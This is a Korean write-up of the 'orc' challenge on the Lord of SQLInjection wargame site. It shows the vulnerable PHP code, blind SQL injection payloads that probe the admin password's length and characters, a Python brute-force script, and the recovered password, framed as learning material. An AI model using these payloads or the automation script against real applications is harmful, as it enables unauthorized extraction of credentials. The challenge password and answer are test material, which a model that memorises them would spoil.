문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>이번 문제는 쿼리가 두 번 실행됩니다. 첫 번째 쿼리는 조건이 참이면 Hello admin을 보여주지만, 두 번째 쿼리는 addslashes()를 거친 뒤 실제 pw 값과 입력값이 완전히 같아야 문제를 풀어줍니다.
따라서 단순 인증 우회가 아니라 Blind SQL Injection으로 admin의 실제 비밀번호를 찾아야 합니다.
exploit
비밀번호 길이 확인
?pw=' or id='admin' and length(pw)=8%23위 조건이 참이면 Hello admin이 출력됩니다. LoS 기준 orc의 비밀번호 길이는 8글자입니다.
비밀번호 한 글자 확인
?pw=' or id='admin' and ascii(substr(pw,1,1))=48%23substr(pw,1,1)은 pw의 첫 번째 글자를 가져오고, ascii()는 해당 문자를 아스키 코드로 변환합니다. 응답에 Hello admin이 있으면 조건이 참입니다.
자동화 코드
import requests
from string import ascii_lowercase, ascii_uppercase, digits
URL = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
COOKIES = {"PHPSESSID": "본인 세션 값"}
charset = digits + ascii_lowercase + ascii_uppercase
password = ""
for pos in range(1, 9):
for ch in charset:
payload = f"' or id='admin' and ascii(substr(pw,{pos},1))={ord(ch)}#"
res = requests.get(URL, params={"pw": payload}, cookies=COOKIES)
if "Hello admin" in res.text:
password += ch
print(password)
break
print(f"password: {password}")구한 비밀번호를 그대로 입력합니다.
?pw=095a9852배운 내용
- 화면에 비밀번호가 직접 출력되지 않아도 참/거짓 응답을 이용해 값을 추론할 수 있습니다.
- Blind SQL Injection은 먼저 길이를 구하고, 각 자리의 문자를 하나씩 구하는 순서로 진행하면 됩니다.
addslashes()가 적용되는 두 번째 쿼리는 우회하기 어렵기 때문에, 최종적으로는 실제 비밀번호를 입력해야 합니다.